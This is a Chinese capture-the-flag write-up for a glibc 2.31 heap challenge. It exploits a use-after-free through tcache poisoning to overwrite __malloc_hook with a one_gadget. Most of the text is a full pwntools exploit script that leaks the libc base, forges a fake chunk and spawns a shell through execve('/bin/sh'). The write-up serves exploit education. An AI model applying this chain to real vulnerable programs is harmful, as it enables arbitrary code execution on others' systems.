一篇简单的Tachebin Attack
前言
关注glibc版本,审出UAF,即可利用tcachebin attack打__malloc_hook的ogg
一、题目
给了glibc版本,为2.31,这时候的tcache只有number的限制,指针还未做异或,利用比较简单
delete函数中free后没有指针置零,存在UAF
二、解题
思路比较清晰:存在UAF,可以unsortedbin attack来leak libc,也可以进行tcachebin attack修改__malloc_hook为one_gadget
申请一块大堆块,释放到unsortedbin
利用show函数泄露libc
确定合法fake chunk位置
edit修改tache chunk的fd指针,打tcachebin attach
申请到fake chunk,往__malloc_hook写one_gadget
malloc触发one_gadget
三、EXP
from pwn import *
elf=ELF('./Heap')
libc=ELF('./libc-2.31-0kylin9.2k0.2.so')
context.arch=elf.arch
context.log_level='debug'
io=process('./Heap')
def add(size,content):
io.sendlineafter(b'What will you do, adventurer? ',b'1')
io.sendlineafter(b'bytes): ',str(size).encode())
io.sendafter(b'bytes):\n',content)
io.recvuntil(b'task.\n')
def delete(idx):
io.sendlineafter(b'What will you do, adventurer? ',b'2')
io.sendlineafter(b'): ',str(idx).encode())
io.recvuntil(b'forever.\n')
def edit(idx,content):
io.sendlineafter(b'What will you do, adventurer? ',b'3')
io.sendlineafter(b'): ',str(idx).encode())
io.sendlineafter(b'):\n',content)
def show(idx):
io.sendlineafter(b'What will you do, adventurer? ',b'4')
io.sendlineafter(b'): ',str(idx).encode())
def delete_all():
io.sendlineafter(b'What will you do, adventurer? ',b'5')
gdb.attach(io);input()
add(0x500,b'aaaa') #0
add(0x10,b'bbbb') #1
delete(0)
pause()
show(0)
io.recvuntil(b'block [0]:\n')
libc_base=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x7a3953716be0+0x7a395352b000
success(hex(libc_base))
pause()
# Fake chunk | IS_MMAPED
# Addr: 0x7a3953716b3d
# prev_size: 0x3953717f60000000
# size: 0x78 (with flag bits: 0x7a)
# fd: 0x00
# bk: 0x00
# fd_nextsize: 0x39535c8570000000
# bk_nextsize: 0x39535c8bf000007a
target=0x7a3953716b3d-0x7a395352b000+libc_base
add(0x60,b'cccc') #2
add(0x60,b'dddd') #3
delete(3)
delete(2)
pause()
edit(2,p64(target))
pause()
add(0x60,b'eeee')
# 0xe6c7e execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
# 0xe6c81 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
# 0xe6c84 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
add(0x60,b'\x00'*0x33+p64(libc_base+0xe6c81))
pause()
io.sendlineafter(b'What will you do, adventurer? ',b'1')
io.sendlineafter(b'bytes): ',str(0x20).encode())
io.interactive()